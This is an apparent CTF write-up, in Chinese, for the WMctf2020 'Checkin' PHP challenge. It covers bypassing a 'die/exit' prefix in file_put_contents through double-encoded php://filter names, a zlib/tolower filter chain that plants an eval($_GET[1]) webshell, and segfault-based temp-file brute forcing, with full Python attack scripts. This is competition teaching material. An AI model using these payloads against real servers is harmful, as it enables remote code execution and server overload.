0%

WMctf2020 Checkin出题想法&题解

考点主要源于我之前再写文章 关于file_put_contents的一些小测试 中遇到的一些问题。题目源代码很简单👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
echo $content;
file_put_contents($content,'<?php exit();'.$content);
}

对于运用的话:很多框架(就不具体说了)喜欢用一个file_put_contents($filename,'<?php exit();'.$content);来生成一个php文件,在代码审计中也经常会遇到,所以题目也就是考察一种参数可控的情况下的一种绕过方式。简单来说就是死亡exit的绕过,我在上一篇文章中介绍了挺多的方法,不过我在这题中把那些方法都ban了,所以很明显,出发点就在于函数的特性,其他过滤器的使用,或者配置环境了……

1.二次编码绕过

查看伪协议处理的源码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{
char *p, *token = NULL;
php_stream_filter *temp_filter;

p = php_strtok_r(filterlist, "|", &token);
while (p) {
php_url_decode(p, strlen(p));#👈对过滤器进行了一次urldecode
if (read_chain) {
if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
php_stream_filter_append(&stream->readfilters, temp_filter);
} else {
php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
}
}
if (write_chain) {
if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
php_stream_filter_append(&stream->writefilters, temp_filter);
} else {
php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
}
}
p = php_strtok_r(NULL, "|", &token);
}
}

file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器urldecode一次,所以是可以利用二次编码绕过的,不过我们在服务端ban了%25(用%25太简单了)所以测试%25被ban后就可以写个脚本跑一下字符,构造一些过滤的字符就可以利用正常的姿势绕过。知道可以用二次编码绕过了,可以简单构造一下参见的payload即可,可参考我之前写的文章中的一些payload

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>
1
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php
1
2
#Cyc1e.php
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc

:payload放过滤器的位置或者放文件名位置都可(因为有些编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则是报个Warning,然后跳过继续执行的)。

2.过滤器构造绕过

我再题目中过滤的过滤器有👇

1
/iconv|UCS|UTF|rot|quoted|base64/

php:filter支持使用多个过滤器,参考官方文档 可用过滤器列表,还留下了字符串过滤器中的部分压缩过滤器以及加密过滤器,所以可以考虑从这几个过滤器入手,最好用的应该就是zlibzlib.deflatezlib.inflate,组合使用压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit👇

1
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php

当然,也是可以通过构造单个字符,通过zlib.deflate压缩来形成shell,这里就不多说了~

3.爆破临时文件

题目的环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以利用再利用string.strip_tags会发生segment fault,这时候上传一个webshell会以临时文件的形式保存在/tmp中(老知识点了),利用require_once包含getshell即可(题目的设置是用一次就会被覆盖,所以直接反弹shell或者写马就行,这个是一个最不好的解作为题目的备选解)。

不过实际运维题目的时候,因为爆破的基数太大了,在比赛的时候太多人同时爆破形成了DDOS了,服务器也承受不住,所以我们没办法,只好选择封堵这条路了(莫怪)。简单放下生成临时文件的脚本(LFI via SegmentFault copy的)👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string
import itertools

charset = string.digits + string.letters

host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e

def generate_tmp_files():
file_content = '<?php system("xxxxxxxx");?>'
phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % (
base_url)
print phpinfo_url
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)

if __name__ == "__main__":
generate_tmp_files()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?content=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'flag' in response.content:
print "[+] Include success!"
return True
except Exception as e:
print e
return False


def main():
brute_force_tmp_files()


if __name__ == "__main__":
main()

Final

checkin刚放出的时候,由于配置错误成了白给题,所以修复了问题放出了checkin2。在出题的时候也很担心题目出得不好影响了比赛质量,争取之后遇到好的点的时候再继续分享~